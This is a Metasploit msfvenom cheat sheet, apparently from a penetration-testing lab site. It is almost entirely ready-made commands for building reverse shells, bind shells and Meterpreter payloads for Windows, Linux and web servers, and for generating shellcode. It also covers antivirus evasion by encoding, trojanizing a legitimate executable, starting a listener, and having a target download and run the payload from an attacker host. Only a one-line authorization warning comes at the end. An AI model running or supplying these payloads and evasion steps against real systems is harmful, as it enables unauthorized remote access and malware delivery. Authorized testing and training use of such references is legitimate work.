BASIC SYNTAX

```
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
```

ESSENTIAL FLAGS

`-p`	Payload to use
`-f`	Output format
`-o`	Output filename
`-e`	Encoder to use
`-i`	Encoding iterations
`-b`	Bad characters to avoid
`-a`	Architecture (x86/x64)
`-x`	Template executable
`-k`	Keep template behavior
`-n`	Prepend NOP sled

DISCOVERY COMMANDS

```
msfvenom -l payloads      # List all payloads
msfvenom -l formats       # List output formats
msfvenom -l encoders      # List encoders
msfvenom -l payloads | grep windows
msfvenom -p <payload> --list-options
```

WINDOWS PAYLOADS

Reverse Shell (32-bit)

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f exe -o shell.exe
```

Reverse Shell (64-bit)

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f exe -o shell64.exe
```

Meterpreter (64-bit)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter.exe
```

Meterpreter HTTPS (stealthier)

```
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.10 LPORT=443 -f exe -o https_shell.exe
```

LINUX PAYLOADS

Reverse Shell (64-bit)

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f elf -o shell
```

Meterpreter (64-bit)

```
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter
```

Bind Shell

```
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind
```

WEB PAYLOADS

PHP Reverse Shell

```
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 \
  -f raw -o shell.php
```

PHP Meterpreter

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f raw -o meterpreter.php
```

JSP (Tomcat)

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f raw -o shell.jsp
```

WAR File (Tomcat)

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f war -o shell.war
```

ASP / ASPX

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f aspx -o shell.aspx
```

OUTPUT FORMATS

`exe`	Windows executable
`elf`	Linux executable
`dll`	Windows DLL
`psh`	PowerShell script
`raw`	Raw bytes
`c / python`	Code arrays
`war`	Java WAR file
`asp / aspx`	ASP web shells

SHELLCODE GENERATION

C Format (buffer overflows)

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f c -b "\x00"
```

Python Format

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f python -b "\x00\x0a\x0d" -v shellcode
```

Raw Shellcode

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -f raw -o shellcode.bin
```

With NOP Sled

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 \
  LPORT=4444 -b "\x00" -n 16 -f python
```

ENCODERS & EVASION

Single Encoding

```
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 \
  -e x86/shikata_ga_nai -f exe -o encoded.exe
```

Multiple Iterations

```
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o multi.exe
```

Template Injection

```
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 \
  -x /path/to/legit.exe -k -f exe -o trojan.exe
```

POPULAR ENCODERS

`x86/shikata_ga_nai`	Polymorphic XOR (best)
`x64/xor`	64-bit XOR encoder
`x86/fnstenv_mov`	Variable-length encoder
`cmd/powershell_base64`	PowerShell Base64

METASPLOIT HANDLER

Interactive Setup

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
run
```

One-Liner

```
msfconsole -x "use multi/handler; \
  set payload windows/meterpreter/reverse_tcp; \
  set LHOST 10.10.10.10; set LPORT 4444; run"
```

COMMON SCENARIOS

Windows Target + Transfer

```
# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Serve file
python3 -m http.server 80
# On target (PowerShell):
iwr http://10.10.10.10/shell.exe -o shell.exe
```

Linux Target + Transfer

```
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Listener: nc -lvnp 4444
# Target: wget http://10.10.10.10/shell && \
#         chmod +x shell && ./shell
```

STAGED VS STAGELESS

```
# STAGED (uses /): Small stager downloads payload
windows/meterpreter/reverse_tcp

# STAGELESS (uses _): Full payload in one file
windows/meterpreter_reverse_tcp
```

LEGAL WARNING

Only use on systems you own or have explicit written authorization to test. Unauthorized access is a crime. Practice legally at hackerdna.com/labs